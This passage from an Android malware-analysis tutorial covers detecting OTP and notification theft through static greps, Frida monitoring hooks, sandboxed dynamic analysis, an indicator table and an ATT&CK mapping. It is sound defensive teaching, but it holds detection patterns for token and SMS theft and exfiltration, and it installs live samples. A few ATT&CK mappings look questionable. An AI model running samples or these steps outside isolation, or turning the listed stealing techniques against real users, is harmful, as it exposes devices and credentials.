grep -rn "cancelNotification\|cancelAllNotifications" java_out/
# TOTP reading via Accessibility
grep -rn "getLaunchIntentForPackage.*authenticator" java_out/ -i
grep -rn "\\d{6}" java_out/ # 6-digit code pattern search
# ─── Dynamic: monitor 2FA capture ───
adb logcat | grep -i "otp\|sms\|notification\|token\|authenticator"
# ─── Frida: hook C2 exfiltration ───
// Frida: catch 2FA data being sent to C2
Java.perform(function() {
// Hook HTTP POST (catch data exfiltration)
var URL = Java.use("java.net.URL");
URL.openConnection.implementation = function() {
console.log("[C2] Connection to: " + this.toString());
return this.openConnection();
};
// Hook OkHttp3
try {
var OkHttpClient = Java.use("okhttp3.OkHttpClient");
var Request = Java.use("okhttp3.Request");
OkHttpClient.newCall.implementation = function(request) {
console.log("[C2] Request URL: " + request.url().toString());
var body = request.body();
if (body !== null) {
console.log("[C2] Request body detected");
// Read body bytes if needed
}
return this.newCall(request);
};
} catch(e) {}
// Hook SMS abort (malware hiding OTPs from user)
var BroadcastReceiver = Java.use("android.content.BroadcastReceiver");
BroadcastReceiver.abortBroadcast.implementation = function() {
console.log("[!!] SMS ABORT CALLED — malware hiding OTP from user!");
// Don't actually abort → user sees their OTP
// this.abortBroadcast();
};
});
7.5 2FA Bypass Evidence to Document
IOCs to document during 2FA malware analysis:
├── SMS_RECEIVED receiver with android:priority=999
├── abortBroadcast() call → hides SMS from user
├── NotificationListenerService accessing Messages app
├── cancelNotification() → dismisses OTP notifications
├── Accessibility service monitoring authenticator apps
├── C2 URL receiving OTP data
├── Package names of targeted banking/crypto apps
└── TOTP app enumeration (getInstalledPackages scan)
8. Static Malware Analysis Workflow
What it means: Static analysis examines the APK without running it — safer, can be done on any machine, reveals code structure, C2 infrastructure, and capabilities. Always start here before running the sample.
8.1 Triage Checklist
# ─── Step 1: Hash + VirusTotal ───
sha256sum sample.apk
md5sum sample.apk
# Submit hash to: https://www.virustotal.com
# Submit APK (if not sensitive): VT → Files → Upload
# ─── Step 2: APKiD identification ───
apkid sample.apk
# Look for: packer, obfuscator, compiler info
# ─── Step 3: String extraction ───
strings sample.apk | grep -iE "http|c2|api|token|malware|bot|cmd|command"
strings sample.apk | grep -E "[A-Za-z0-9+/]{30,}={0,2}" # long base64
# ─── Step 4: Manifest review ───
apktool d sample.apk -o out/
cat out/AndroidManifest.xml
# Key manifest findings:
grep -iE "SMS_RECEIVED|ACCESSIBILITY|NOTIFICATION_LISTENER|SYSTEM_ALERT_WINDOW|\
ADMIN|INSTALL_PACKAGES|RECEIVE_BOOT" out/AndroidManifest.xml
# ─── Step 5: Certificate analysis ───
keytool -printcert -file out/META-INF/CERT.RSA
# Self-signed cert from "Android Debug" or "Unknown" → suspicious!
# ─── Step 6: Automated MobSF scan ───
curl -F "file=@sample.apk" http://localhost:8000/api/v1/upload \
-H "Authorization: API_KEY"
8.2 Deep Static Analysis Checklist
# Decompile
jadx sample.apk -d java_out/ --show-bad-code
# Dangerous permissions
grep -n "ACCESSIBILITY\|SMS\|NOTIFICATION\|ADMIN\|SYSTEM_ALERT" out/AndroidManifest.xml
# C2 infrastructure
grep -rh "http://\|https://" java_out/ | grep -v "schema\|example\|android" | sort -u
grep -rn "telegram\|bot_token\|chat_id" java_out/ -i # Telegram C2
grep -rn "firebase\|firebaseapp" java_out/ -i # Firebase C2
# Malware capabilities
grep -rn "DexClassLoader\|PathClassLoader" java_out/ # dynamic loading
grep -rn "TYPE_APPLICATION_OVERLAY\|SYSTEM_ALERT" java_out/ # overlay
grep -rn "abortBroadcast\|SmsMessage" java_out/ # SMS intercept
grep -rn "NotificationListenerService" java_out/ # notif theft
grep -rn "AccessibilityService" java_out/ # accessibility abuse
grep -rn "DevicePolicyManager\|ADMIN" java_out/ # device admin
grep -rn "startForeground\|START_STICKY" java_out/ # persistent service
grep -rn "RECEIVE_BOOT_COMPLETED" java_out/ # persistence
# Encryption / C2 protocol
grep -rn "AES\|DES\|Cipher\|encrypt\|decrypt" java_out/
grep -rn "Base64\|XOR\|ROT" java_out/
# Device info exfiltration
grep -rn "getDeviceId\|getImei\|getSubscriberId\|getLine1Number" java_out/
grep -rn "getSimSerialNumber\|getNetworkOperator" java_out/
9. Dynamic Malware Analysis Workflow
What it means: Dynamic analysis runs the malware in a controlled environment to observe actual behavior — what it does at runtime, what it communicates, what files it creates. More risky than static but reveals runtime-only behaviors like decrypted payloads, live C2 communication, and actual infection behavior.
9.1 Dynamic Analysis Setup
# ─── Isolated environment ───
# Rooted emulator with snapshot capability
# INetSim for C2 simulation OR Burp for real C2 study
# Wireshark on host network interface
# ─── Pre-install monitoring ───
adb shell "nohup /data/local/tmp/frida-server &"
adb logcat -c # clear log buffer
# ─── Install malware ───
adb install sample.apk
# ─── Start comprehensive monitoring ───
# Terminal 1: logcat
adb logcat | tee logcat_capture.txt
# Terminal 2: file system monitoring
adb shell "inotifywait -m -r /data/data/com.malware.sample/ 2>/dev/null" &
# Terminal 3: network monitoring (on host)
tcpdump -i any -w capture.pcap &
# OR: Wireshark on the network interface
# Terminal 4: Frida
frida -U -f com.malware.sample --no-pause -l full_monitor.js
9.2 Frida Full Monitoring Script
// full_monitor.js — comprehensive malware monitoring
Java.perform(function() {
var Color = {
RED: "\x1b[31m", GREEN: "\x1b[32m",
YELLOW: "\x1b[33m", RESET: "\x1b[0m"
};
// ─── Network calls ───
try {
var URL = Java.use("java.net.URL");
URL.openConnection.implementation = function() {
console.log(Color.RED + "[NET] " + this.toString() + Color.RESET);
return this.openConnection();
};
} catch(e) {}
// ─── File operations ───
var File = Java.use("java.io.File");
File.$init.overload("java.lang.String").implementation = function(path) {
if (path.indexOf("/data/data") !== -1 || path.indexOf("/sdcard") !== -1) {
console.log(Color.YELLOW + "[FILE] " + path + Color.RESET);
}
return this.$init(path);
};
// ─── SMS abort ───
var BR = Java.use("android.content.BroadcastReceiver");
BR.abortBroadcast.implementation = function() {
console.log(Color.RED + "[!!] SMS ABORTED — OTP hidden from user!" + Color.RESET);
};
// ─── DEX loading ───
var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(Color.RED + "[DEX] Loading: " + dexPath + Color.RESET);
return this.$init(dexPath, optDir, libPath, parent);
};
// ─── Device info access ───
try {
var TelephonyManager = Java.use("android.telephony.TelephonyManager");
TelephonyManager.getDeviceId.implementation = function() {
var id = this.getDeviceId();
console.log(Color.YELLOW + "[DEVICE_ID] " + id + Color.RESET);
return id;
};
TelephonyManager.getLine1Number.implementation = function() {
var num = this.getLine1Number();
console.log(Color.YELLOW + "[PHONE_NUM] " + num + Color.RESET);
return num;
};
} catch(e) {}
// ─── Shared Preferences writes ───
var Editor = Java.use("android.app.SharedPreferencesImpl$EditorImpl");
Editor.putString.implementation = function(key, value) {
console.log(Color.GREEN + "[PREFS] " + key + " = " + value + Color.RESET);
return this.putString(key, value);
};
console.log("[*] Monitoring active — run the app!");
});
9.3 Post-Analysis Artifact Collection
# ─── After dynamic analysis ───
# Collect created files
adb shell find /data/data/com.malware.sample/ -newer /tmp/before.txt
adb pull /data/data/com.malware.sample/ ./artifacts/
# Collect any dropped DEX/APK
adb pull /sdcard/ ./sdcard_artifacts/
adb shell find /data/local/tmp/ -type f | xargs -I{} adb pull {}
# Export network capture
# Stop tcpdump → analyze with Wireshark
# Filter: http.request OR dns
# Collect logcat
adb logcat -d > final_logcat.txt
# Memory dump
# frida: Process.enumerateRanges('r--').forEach(...)
# ─── Restore clean state ───
adb emu avd snapshot load clean_state
10. Cheat Sheet
Malware Analysis Quick Commands
# Triage
sha256sum sample.apk && apkid sample.apk
strings sample.apk | grep -iE "http|c2|bot|token|cmd"
# Decompile
apktool d sample.apk -o out/
jadx sample.apk -d java_out/
# Manifest danger check
grep -iE "SMS|ACCESSIBILITY|NOTIFICATION|ALERT_WINDOW|ADMIN|BOOT" out/AndroidManifest.xml
# Code search
grep -rn "DexClassLoader\|abortBroadcast\|NotificationListener\|AccessibilityService" java_out/
grep -rh "https\?://" java_out/ | sort -u # C2 URLs
# Dynamic
adb logcat | grep -iE "otp|sms|token|c2|exfil|upload"
frida -U -f com.malware.sample --no-pause -l monitor.js
Key Malware Indicators
Capability Code Indicator
──────────────────────────────────────────────────────────────────────
SMS OTP theft RECEIVE_SMS + abortBroadcast()
Notification OTP theft NotificationListenerService + cancelNotification()
Overlay attack SYSTEM_ALERT_WINDOW + TYPE_APPLICATION_OVERLAY
Keylogging BIND_ACCESSIBILITY_SERVICE + TYPE_VIEW_TEXT_CHANGED
Dynamic loading DexClassLoader + encrypted asset
Anti-analysis Build.FINGERPRINT check + Thread.sleep(long)
Persistence RECEIVE_BOOT_COMPLETED + START_STICKY
Device admin abuse DevicePolicyManager + BIND_DEVICE_ADMIN
Screen reading getRootInActiveWindow() + getAllText()
2FA bypass All of the above combined
Frida Malware Hooks
// Monitor ALL the things
Java.perform(function() {
// C2
Java.use("java.net.URL").openConnection.implementation = function() {
console.log("[NET] " + this); return this.openConnection(); };
// SMS hide
Java.use("android.content.BroadcastReceiver").abortBroadcast.implementation =
function() { console.log("[!!] SMS ABORTED!"); };
// DEX drop
Java.use("dalvik.system.DexClassLoader").$init.implementation =
function(p,o,l,c) { console.log("[DEX] "+p); return this.$init(p,o,l,c); };
// Device ID
Java.use("android.telephony.TelephonyManager").getDeviceId.implementation =
function() { var r=this.getDeviceId(); console.log("[IMEI] "+r); return r; };
});
MITRE ATT&CK Mobile Mapping
Technique ATT&CK ID
───────────────────────────────────────────────────────────
Accessibility Service Abuse T1418 (Software Discovery) + T1429
System Alert Window T1541 (Foreground Persistence)
SMS Interception T1412
Notification Access T1517
Dynamic DEX Loading T1407
C2 via HTTPS T1437
C2 via Telegram/Firebase T1481
Anti-emulator detection T1523
Credential Overlay T1411
2FA Bypass T1430 (Location) + T1412